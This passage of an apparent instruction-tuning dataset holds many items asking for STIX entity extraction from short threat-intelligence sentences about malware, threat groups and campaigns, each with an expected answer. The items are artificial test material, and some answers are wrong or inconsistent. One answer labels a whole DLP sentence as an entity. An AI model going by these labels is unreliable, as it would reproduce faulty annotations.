    "output": "<entities>Operation Honeybee|Korean|South Korea|Vietnam|Singapore|Japan|Indonesia|Argentina|Canada|Word|Honeybee</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nCORESHELL C2 messages are Base64-encoded.\n",
    "output": "<entities>C2|CORESHELL</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nFLASHFLOOD employs the same encoding scheme as SPACESHIP for data it stages. Data is compressed with zlib, and bytes are rotated four times before being XOR'ed with 0x23.\n",
    "output": "<entities>FLASHFLOOD|SPACESHIP|zlib</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nAllwinner is a company that supplies processors used in Android tablets and other devices. A Linux kernel distributed by Allwinner for use on these devices reportedly contained a backdoor.\n",
    "output": "<entities>Allwinner|Linux kernel|Android|Linux</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nASPXSpy is a Web shell. The ASPXTool version used by Threat Group-3390 has been deployed to accessible servers running Internet Information Services (IIS).\n",
    "output": "<entities>ASPXSpy|ASPXTool|Threat Group-3390|Internet Information Services (IIS)</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nCosmicDuke takes periodic screenshots and exfiltrates them.\n",
    "output": "<entities>CosmicDuke</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nFgdump can dump Windows password hashes.\n",
    "output": "<entities>Fgdump|Windows</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nMonokle is targeted, sophisticated mobile surveillanceware. It is developed for Android, but there are some code artifacts that suggests an iOS version may be in development.\n",
    "output": "<entities>Monokle|Android|iOS</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nZLib mimics the resource version information of legitimate Realtek Semiconductor, Nvidia, or Synaptics modules.\n",
    "output": "<entities>ZLib|Realtek Semiconductor|Nvidia|Synaptics</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nQakBot can use a variety of commands, including esentutl.exe to steal sensitive data from Internet Explorer and Microsoft Edge, to acquire information that is subsequently exfiltrated.\n",
    "output": "<entities>QakBot|esentutl.exe|Internet Explorer|Microsoft Edge</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nOne variant of CloudDuke uses HTTP and HTTPS for C2.\n",
    "output": "<entities>CloudDuke|C2</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nXAgentOSX is a trojan that has been used by APT28 on OS X and appears to be a port of their standard CHOPSTICK or XAgent trojan. \n",
    "output": "<entities>XAgentOSX|APT28|OS X|CHOPSTICK|XAgent</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nHoneybee uses a dropper called MaoCheng that harvests a stolen digital signature from Adobe Systems.\n",
    "output": "<entities>Honeybee|MaoCheng|Adobe Systems|Adobe</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nAzorult uses an XOR key to decrypt content and uses Base64 to decode the C2 address.\n",
    "output": "<entities>Azorult|C2</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nSo far in 2021, Proofpoint has observed nearly half a million messages associated with this threat targeting Italian organizations. According to Proofpoint data, Ursnif is currently the most frequently observed malware targeting Italian organizations based on campaign data. Earlier this year, Proofpoint researchers observed multiple Emotet campaigns targeting the region as well \u2013 however, following the disruption of the Emotet botnet in January 2021, all Emotet activity has disappeared and this malware is no longer an ongoing threat.\n",
    "output": "<entities>Proofpoint|Ursnif|Emotet campaigns|Italian|Emotet</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nC0017 was an APT41 campaign conducted between May 2021 and February 2022 that successfully compromised at least six U.S. state government networks through the exploitation of vulnerable Internet facing web applications. During C0017, APT41 was quick to adapt and use publicly-disclosed as well as zero-day vulnerabilities for initial access, and in at least two cases re-compromised victims following remediation efforts. The goals of C0017 are unknown, however APT41 was observed exfiltrating Personal Identifiable Information (PII).\n",
    "output": "<entities>C0017|APT41|U.S.</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nData Loss Prevention (DLP) technologies can be used to help identify adversarial attempts to exfiltrate operational information, such as engineering plans, trade secrets, recipes, intellectual property, or process telemetry. DLP functionality may be built into other security products such as firewalls or standalone suites running on the network and host-based agents. DLP may be configured to prevent the transfer of information through corporate resources such as email, web, and physical media such as USB for host-based solutions.\n",
    "output": "<entities>Data Loss Prevention (DLP) technologies can be used to help identify adversarial attempts to exfiltrate operational information, such as engineering plans, trade secrets, recipes, intellectual property, or process telemetry.</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nSysteminfo can be used to gather information about the operating system.\n",
    "output": "<entities>Systeminfo</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server 